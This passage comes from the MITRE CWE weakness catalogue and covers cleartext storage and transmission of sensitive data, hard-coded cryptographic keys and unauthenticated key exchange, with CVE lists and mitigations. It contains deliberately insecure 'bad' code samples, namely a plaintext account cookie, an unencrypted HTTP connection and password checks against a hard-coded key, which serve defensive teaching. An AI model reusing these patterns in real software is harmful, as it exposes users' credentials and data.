Nature	Type	ID	Name	Page
ChildOf		312	Cleartext Storage of Sensitive Information	725

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Demonstrative Examples

#### Example 1:

The following code excerpt stores a plaintext user account ID in a browser cookie.

*Example Language: Java*

*(Bad)*

```
response.addCookie( new Cookie("userAccountID", acctID);
```

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

### Observed Examples

Reference	Description
<b>CVE-2002-1800</b>	Admin password in cleartext in a cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1800">https://www.cve.org/CVERecord?id=CVE-2002-1800</a>
<b>CVE-2001-1537</b>	Default configuration has cleartext usernames/passwords in cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1537">https://www.cve.org/CVERecord?id=CVE-2001-1537</a>
<b>CVE-2001-1536</b>	Usernames/passwords in cleartext in cookies. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1536">https://www.cve.org/CVERecord?id=CVE-2001-1536</a>
<b>CVE-2005-2160</b>	Authentication information stored in cleartext in a cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2160">https://www.cve.org/CVERecord?id=CVE-2005-2160</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286

### Notes

#### Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Storage in Cookie
Software Fault Patterns	SFP23		Exposed Data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
31	Accessing/Intercepting/Modifying HTTP Cookies
37	Retrieve Embedded Sensitive Data
39	Manipulating Opaque Client-based Data Tokens
74	Manipulating State

## CWE-316: Cleartext Storage of Sensitive Information in Memory

**Weakness ID** : 316

**Structure** : Simple

**Abstraction** : Variant

### Description

The product stores sensitive information in cleartext in memory.

### Extended Description


The sensitive memory might be saved to disk, stored in a core dump, or remain uncleared if the product crashes, or if the programmer does not properly clear the memory before freeing it.

It could be argued that such problems are usually only exploitable by those with administrator privileges. However, swapping could cause the memory to be written to disk and leave it accessible to physical attack afterwards. Core dump files might have insecure permissions or be stored in archive files that are accessible to untrusted people. Or, uncleared sensitive memory might be inadvertently exposed to attackers due to another weakness.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		312	Cleartext Storage of Sensitive Information	725

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	

### Observed Examples

Reference	Description
CVE-2001-1517	Sensitive authentication information in cleartext in memory.



Reference	Description
<b>BID:10155</b>	<a href="https://www.cve.org/CVERecord?id=CVE-2001-1517">https://www.cve.org/CVERecord?id=CVE-2001-1517</a> Sensitive authentication information in cleartext in memory. <a href="http://www.securityfocus.com/bid/10155">http://www.securityfocus.com/bid/10155</a>
<b>CVE-2001-0984</b>	Password protector leaves passwords in memory when window is minimized, even when "clear password when minimized" is set. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0984">https://www.cve.org/CVERecord?id=CVE-2001-0984</a>
<b>CVE-2003-0291</b>	SSH client does not clear credentials from memory. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0291">https://www.cve.org/CVERecord?id=CVE-2003-0291</a>

### Affected Resources

- Memory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Notes

#### Relationship

This could be a resultant weakness, e.g. if the compiler removes code that was intended to wipe memory.

#### Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Storage in Memory
Software Fault Patterns	SFP23		Exposed Data

## CWE-317: Cleartext Storage of Sensitive Information in GUI

**Weakness ID** : 317

**Structure** : Simple

**Abstraction** : Variant

### Description

The product stores sensitive information in cleartext within the GUI.


### Extended Description

An attacker can often obtain data from a GUI, even if hidden, by using an API to directly access GUI objects such as windows and menus. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		312	Cleartext Storage of Sensitive Information	725

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		355	User Interface Security Issues	2112

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Windows (*Prevalence = Sometimes*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data	

### Observed Examples

Reference	Description
<b>CVE-2002-1848</b>	Unencrypted passwords stored in GUI dialog may allow local users to access the passwords. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1848">https://www.cve.org/CVERecord?id=CVE-2002-1848</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

### Notes

#### Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Storage in GUI
Software Fault Patterns	SFP23		Exposed Data

## CWE-318: Cleartext Storage of Sensitive Information in Executable

**Weakness ID** : 318  
**Structure** : Simple  
**Abstraction** : Variant

### Description

The product stores sensitive information in cleartext in an executable.

### Extended Description

Attackers can reverse engineer binary code to obtain secret data. This is especially easy when the cleartext is plain ASCII. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		312	Cleartext Storage of Sensitive Information	725

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Observed Examples

Reference	Description
<b>CVE-2005-1794</b>	Product stores RSA private key in a DLL and uses it to sign a certificate, allowing spoofing of servers and Adversary-in-the-Middle (AITM) attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1794">https://www.cve.org/CVERecord?id=CVE-2005-1794</a>
<b>CVE-2001-1527</b>	administration passwords in cleartext in executable <a href="https://www.cve.org/CVERecord?id=CVE-2001-1527">https://www.cve.org/CVERecord?id=CVE-2001-1527</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

### Notes

#### Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is



any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Storage in Executable

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data
65	Sniff Application Code

## CWE-319: Cleartext Transmission of Sensitive Information

**Weakness ID** : 319

**Structure** : Simple

**Abstraction** : Base

### Description

The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.

### Extended Description

Many communication channels can be "sniffed" (monitored) by adversaries during data transmission. For example, in networking, packets can traverse many intermediary nodes from the source to the destination, whether across the internet, an internal network, the cloud, etc. Some actors might have privileged access to a network interface or any link along the channel, such as a router, but they might not be authorized to collect the underlying data. As a result, network traffic could be sniffed by adversaries, spilling security-critical data.




Applicable communication channels are not limited to software products. Applicable channels include hardware-specific technologies such as internal hardware networks and external debug channels, supporting remote JTAG debugging. When mitigations are not applied to combat adversaries within the product's threat model, this weakness significantly lowers the difficulty of exploitation by such adversaries.

When full communications are recorded or logged, such as with a packet dump, an adversary could attempt to obtain the dump long after the transmission has occurred and try to "sniff" the cleartext from the recorded communications in the dump itself.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		311	Missing Encryption of Sensitive Data	718
ParentOf		5	J2EE Misconfiguration: Data Transmission Without Encryption	1
ParentOf		614	Sensitive Cookie in HTTPS Session Without 'Secure' Attribute	1292

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		311	Missing Encryption of Sensitive Data	718

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		199	Information Management Errors	2104

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Cloud Computing (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Often*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

**Technology** : Test/Debug Hardware (*Prevalence = Often*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Read Application Data	
Confidentiality	Modify Files or Directories	
<i>Anyone can read the information by gaining access to the channel being used for communication.</i>		

### Detection Methods

#### Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

### Potential Mitigations

#### Phase: Architecture and Design

Before transmitting, encrypt the data using reliable, confidentiality-protecting cryptographic protocols.

#### Phase: Implementation

When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

**Phase: Implementation**

When designing hardware platforms, ensure that approved encryption algorithms (such as those recommended by NIST) protect paths from security critical data to trusted user applications.

**Phase: Testing**

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Phase: Operation**

Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.

**Demonstrative Examples****Example 1:**

The following code attempts to establish a connection to a site to communicate sensitive information.

*Example Language: Java*

*(Bad)*

```
try {
    URL u = new URL("http://www.secret.example.org/");
    HttpURLConnection hu = (HttpURLConnection) u.openConnection();
    hu.setRequestMethod("PUT");
    hu.connect();
    OutputStream os = hu.getOutputStream();
    hu.disconnect();
}
catch (IOException e) {
    //...
}
```

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

**Example 2:**

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used cleartext transmission of sensitive information in their OT products.

**Example 3:**

A TAP accessible register is read/written by a JTAG based tool, for internal use by authorized users. However, an adversary can connect a probing device and collect the values from the unencrypted channel connecting the JTAG interface to the authorized user, if no additional protections are employed.

**Example 4:**

The following Azure CLI command lists the properties of a particular storage account:

*Example Language: Shell**(informative)*

```
az storage account show -g {ResourceGroupName} -n {StorageAccountName}
```

The JSON result might be:

*Example Language: JSON**(bad)*

```
{
  "name": "{StorageAccountName}",
  "enableHttpsTrafficOnly": false,
  "type": "Microsoft.Storage/storageAccounts"
}
```

The enableHttpsTrafficOnly value is set to false, because the default setting for Secure transfer is set to Disabled. This allows cloud storage resources to successfully connect and transfer data without the use of encryption (e.g., HTTP, SMB 2.1, SMB 3.0, etc.).

Azure's storage accounts can be configured to only accept requests from secure connections made over HTTPS. The secure transfer setting can be enabled using Azure's Portal (GUI) or programmatically by setting the enableHttpsTrafficOnly property to True on the storage account, such as:

*Example Language: Shell**(good)*

```
az storage account update -g {ResourceGroupName} -n {StorageAccountName} --https-only true
```

The change can be confirmed from the result by verifying that the enableHttpsTrafficOnly value is true:

*Example Language: JSON**(good)*

```
{
  "name": "{StorageAccountName}",
  "enableHttpsTrafficOnly": true,
  "type": "Microsoft.Storage/storageAccounts"
}
```

Note: to enable secure transfer using Azure's Portal instead of the command line:

- 1. Open the Create storage account pane in the Azure portal.
- 2. In the Advanced page, select the Enable secure transfer checkbox.

## Observed Examples

Reference	Description
<b>CVE-2022-29519</b>	Programmable Logic Controller (PLC) sends sensitive information in plaintext, including passwords and session tokens. <a href="https://www.cve.org/CVERecord?id=CVE-2022-29519">https://www.cve.org/CVERecord?id=CVE-2022-29519</a>
<b>CVE-2022-30312</b>	Building Controller uses a protocol that transmits authentication credentials in plaintext. <a href="https://www.cve.org/CVERecord?id=CVE-2022-30312">https://www.cve.org/CVERecord?id=CVE-2022-30312</a>
<b>CVE-2022-31204</b>	Programmable Logic Controller (PLC) sends password in plaintext. <a href="https://www.cve.org/CVERecord?id=CVE-2022-31204">https://www.cve.org/CVERecord?id=CVE-2022-31204</a>
<b>CVE-2002-1949</b>	Passwords transmitted in cleartext. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1949">https://www.cve.org/CVERecord?id=CVE-2002-1949</a>
<b>CVE-2008-4122</b>	Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4122">https://www.cve.org/CVERecord?id=CVE-2008-4122</a>
<b>CVE-2008-3289</b>	Product sends password hash in cleartext in violation of intended policy.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-3289">https://www.cve.org/CVERecord?id=CVE-2008-3289</a>
<b>CVE-2008-4390</b>	Remote management feature sends sensitive information including passwords in cleartext.
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-4390">https://www.cve.org/CVERecord?id=CVE-2008-4390</a>
<b>CVE-2007-5626</b>	Backup routine sends password in cleartext in email.
	<a href="https://www.cve.org/CVERecord?id=CVE-2007-5626">https://www.cve.org/CVERecord?id=CVE-2007-5626</a>
<b>CVE-2004-1852</b>	Product transmits Blowfish encryption key in cleartext.
	<a href="https://www.cve.org/CVERecord?id=CVE-2004-1852">https://www.cve.org/CVERecord?id=CVE-2004-1852</a>
<b>CVE-2008-0374</b>	Printer sends configuration information, including administrative password, in cleartext.
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-0374">https://www.cve.org/CVERecord?id=CVE-2008-0374</a>
<b>CVE-2007-4961</b>	Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
	<a href="https://www.cve.org/CVERecord?id=CVE-2007-4961">https://www.cve.org/CVERecord?id=CVE-2007-4961</a>
<b>CVE-2007-4786</b>	Product sends passwords in cleartext to a log server.
	<a href="https://www.cve.org/CVERecord?id=CVE-2007-4786">https://www.cve.org/CVERecord?id=CVE-2007-4786</a>
<b>CVE-2005-3140</b>	Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
	<a href="https://www.cve.org/CVERecord?id=CVE-2005-3140">https://www.cve.org/CVERecord?id=CVE-2005-3140</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	751	2009 Top 25 - Insecure Interaction Between Components	750	2145
MemberOf	<b>C</b>	818	OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection	809	2153
MemberOf	<b>C</b>	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	2162
MemberOf	<b>C</b>	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2162
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	2184
MemberOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	<b>C</b>	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	2229
MemberOf	<b>C</b>	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	2244
MemberOf	<b>C</b>	1207	Debug and Test Problems	1194	2267
MemberOf	<b>C</b>	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

### Notes

#### Maintenance

The Taxonomy\_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to

facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Transmission of Sensitive Information
The CERT Oracle Secure Coding Standard for Java (2011)	SEC06-J		Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
The CERT Oracle Secure Coding Standard for Java (2011)	SER02-J		Sign then seal sensitive objects before sending them outside a trust boundary
Software Fault Patterns	SFP23		Exposed Data
ISA/IEC 62443	Part 3-3		Req SR 4.1
ISA/IEC 62443	Part 4-2		Req CR 4.1B

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
65	Sniff Application Code
102	Session Sidejacking
117	Interception
383	Harvesting Information via API Event Monitoring
477	Signature Spoofing by Mixing Signed and Unsigned Content

### References

[REF-271]OWASP. "Top 10 2007-Insecure Communications". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A9](http://www.owasp.org/index.php/Top_10_2007-A9) >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/> >.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

[REF-1307]Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". 2022 August 6. < <https://www.cisecurity.org/benchmark/azure> >.2023-01-19.

[REF-1309]Microsoft. "Require secure transfer to ensure secure connections". 2022 July 4. < <https://learn.microsoft.com/en-us/azure/storage/common/storage-require-secure-transfer> >.2023-01-24.

## CWE-321: Use of Hard-coded Cryptographic Key

**Weakness ID** : 321

**Structure** : Simple

**Abstraction** : Variant

### Description

The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	<b>E</b>	798	Use of Hard-coded Credentials	1573
PeerOf	<b>V</b>	259	Use of Hard-coded Password	591
PeerOf	<b>E</b>	1291	Public Key Re-Use for Signing both Debug and Production Code	1978
CanFollow	<b>E</b>	656	Reliance on Security Through Obscurity	1359

### Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1013	Encrypt Data	2221

### Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	<b>E</b>	798	Use of Hard-coded Credentials	1573

### Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	<b>E</b>	798	Use of Hard-coded Credentials	1573

### Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	320	Key Management Errors	2112

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>If hard-coded cryptographic keys are used, it is almost certain that malicious users will gain access through the account in question.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Prevention schemes mirror that of hard-coded password storage.

## Demonstrative Examples

### Example 1:



The following code examples attempt to verify a password using a hard-coded cryptographic key.

Example Language: C

(Bad)

```
int VerifyAdmin(char *password) {
    if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Example Language: Java

(Bad)

```
public boolean VerifyAdmin(String password) {
    if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
        System.out.println("Entering Diagnostic Mode...");
        return true;
    }
    System.out.println("Incorrect Password!");
    return false;
}
```

Example Language: C#

(Bad)

```
int VerifyAdmin(String password) {
    if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
        Console.WriteLine("Entering Diagnostic Mode...");
        return(1);
    }
    Console.WriteLine("Incorrect Password!");
    return(0);
}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

### Example 2:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used hard-coded keys for critical functionality in their OT products.

### Observed Examples

Reference	Description
<b>CVE-2022-29960</b>	Engineering Workstation uses hard-coded cryptographic keys that could allow for unauthorized filesystem access and privilege escalation <a href="https://www.cve.org/CVERecord?id=CVE-2022-29960">https://www.cve.org/CVERecord?id=CVE-2022-29960</a>
<b>CVE-2022-30271</b>	Remote Terminal Unit (RTU) uses a hard-coded SSH private key that is likely to be used by default. <a href="https://www.cve.org/CVERecord?id=CVE-2022-30271">https://www.cve.org/CVERecord?id=CVE-2022-30271</a>
<b>CVE-2020-10884</b>	WiFi router service has a hard-coded encryption key, allowing root access <a href="https://www.cve.org/CVERecord?id=CVE-2020-10884">https://www.cve.org/CVERecord?id=CVE-2020-10884</a>
<b>CVE-2014-2198</b>	Communications / collaboration product has a hardcoded SSH private key, allowing access to root account <a href="https://www.cve.org/CVERecord?id=CVE-2014-2198">https://www.cve.org/CVERecord?id=CVE-2014-2198</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	629	2126
MemberOf	C	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	2126
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2131
MemberOf	C	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	2189
MemberOf	C	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures	1344	2281

## Notes

### Other

The main difference between the use of hard-coded passwords and the use of hard-coded cryptographic keys is the false sense of security that the former conveys. Many people believe that simply hashing a hard-coded password before storage will protect the information from malicious users. However, many hashes are reversible (or at least vulnerable to brute force attacks) -- and further, many authentication protocols simply request the hash itself, making it no better than a password.

### Maintenance

The Taxonomy\_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Use of hard-coded cryptographic key
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
Software Fault Patterns	SFP33		Hardcoded sensitive data
ISA/IEC 62443	Part 2-4		Req SP.03.08
ISA/IEC 62443	Part 2-4		Req SP.03.10
ISA/IEC 62443	Part 3-3		Req SR 1.5
ISA/IEC 62443	Part 3-3		Req SD-1
ISA/IEC 62443	Part 3-3		Req SR 4.3
ISA/IEC 62443	Part 4-1		Req SD-1
ISA/IEC 62443	Part 4-2		Req SR 4.3
ISA/IEC 62443	Part 4-2		Req CR 7.3

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

## CWE-322: Key Exchange without Entity Authentication

**Weakness ID** : 322

**Structure** : Simple

**Abstraction** : Base

### Description

The product performs a key exchange with an actor without verifying the identity of that actor.

### Extended Description

Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable an attacker to impersonate an actor by modifying traffic between the two entities. Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	306	Missing Authentication for Critical Function	703
PeerOf	B	295	Improper Certificate Validation	677
PeerOf	B	295	Improper Certificate Validation	677
CanPrecede	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1700

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2268
